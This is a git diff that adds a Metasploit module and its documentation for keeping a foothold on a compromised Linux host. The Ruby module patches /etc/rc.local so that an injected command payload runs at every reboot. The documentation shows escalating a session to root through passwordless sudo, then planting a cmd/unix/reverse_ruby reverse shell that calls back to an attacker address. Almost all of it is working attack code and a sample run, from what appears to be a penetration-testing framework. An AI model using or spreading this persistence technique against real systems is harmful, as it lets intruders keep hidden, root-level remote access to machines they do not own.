diff --git a/documentation/modules/exploit/linux/local/rc_local_persistence.md b/documentation/modules/exploit/linux/local/rc_local_persistence.md new file mode 100644 index 0000000000..9b81d94d2e --- /dev/null +++ b/documentation/modules/exploit/linux/local/rc_local_persistence.md @@ -0,0 +1,46 @@ +## rc.local Persistence + +This module patches `/etc/rc.local` in order to launch a payload upon reboot. + +> Sometimes `/etc/rc.local` is run when the network is not yet on, make sure your payload won't quit if that's the case. + + +### Verification + +1. Exploit a box and get a **root** session (tip: try `post/multi/manage/sudo`) +2. `use exploit/linux/local/rc_local_persistence` +3. `set SESSION ` +4. `set PAYLOAD ` +5. `set LHOST ` +6. `exploit` + + +### Sample run + +#### Escalate the session if needed + +``` +msf5 exploit(linux/local/rc_local_persistence) > use post/multi/manage/sudo +msf5 post(multi/manage/sudo) > set session 3 +session => 3 +msf5 post(multi/manage/sudo) > run + +[*] SUDO: Attempting to upgrade to UID 0 via sudo +[*] No password available, trying a passwordless sudo. +[+] SUDO: Root shell secured. +[*] Post module execution completed +``` + +#### Persist + +``` +msf5 post(multi/manage/sudo) > use exploit/linux/local/rc_local_persistence +msf5 exploit(multi/handler) > set payload cmd/unix/reverse_ruby +payload => cmd/unix/reverse_ruby +msf5 exploit(linux/local/rc_local_persistence) > set LHOST 192.168.0.41 +LHOST => 192.168.0.41 +msf5 exploit(linux/local/rc_local_persistence) > run + +[*] Reading /etc/rc.local +[*] Patching /etc/rc.local +``` diff --git a/modules/exploits/linux/local/rc_local_persistence.rb b/modules/exploits/linux/local/rc_local_persistence.rb new file mode 100644 index 0000000000..a35dd83f90 --- /dev/null +++ b/modules/exploits/linux/local/rc_local_persistence.rb @@ -0,0 +1,57 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Unix + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'rc.local Persistence', + 'Description' => %q( + This module will edit /etc/rc.local in order to persist a payload. + The payload will be executed on the next reboot. + ), + 'License' => MSF_LICENSE, + 'Author' => [ 'Eliott Teissonniere' ], + 'Platform' => [ 'unix', 'linux' ], + 'Arch' => ARCH_CMD, + 'Payload' => { + 'BadChars' => "#%\n", + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic python ruby netcat perl' + } + }, + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' }, + 'DisclosureDate' => 'Oct 01 1980', # The rc command appeared in 4.0BSD. + 'Targets' => [ ['Automatic', {}] ], + 'DefaultTarget' => 0 + )) + end + + def exploit + unless cmd_exec("test -w '/etc/rc.local' && echo true").include? 'true' + fail_with Failure::BadConfig, '/etc/rc.local is not writable' + end + + print_status('Reading /etc/rc.local') + + # read /etc/rc.local, but remove `exit 0` + rc_local = read_file('/etc/rc.local').gsub(/^exit.*$/, '') + + # add payload and put back `exit 0` + rc_local << "\n#{payload.encoded}\nexit 0\n" + + # write new file + print_status('Patching /etc/rc.local') + write_file('/etc/rc.local', rc_local) + end +end + +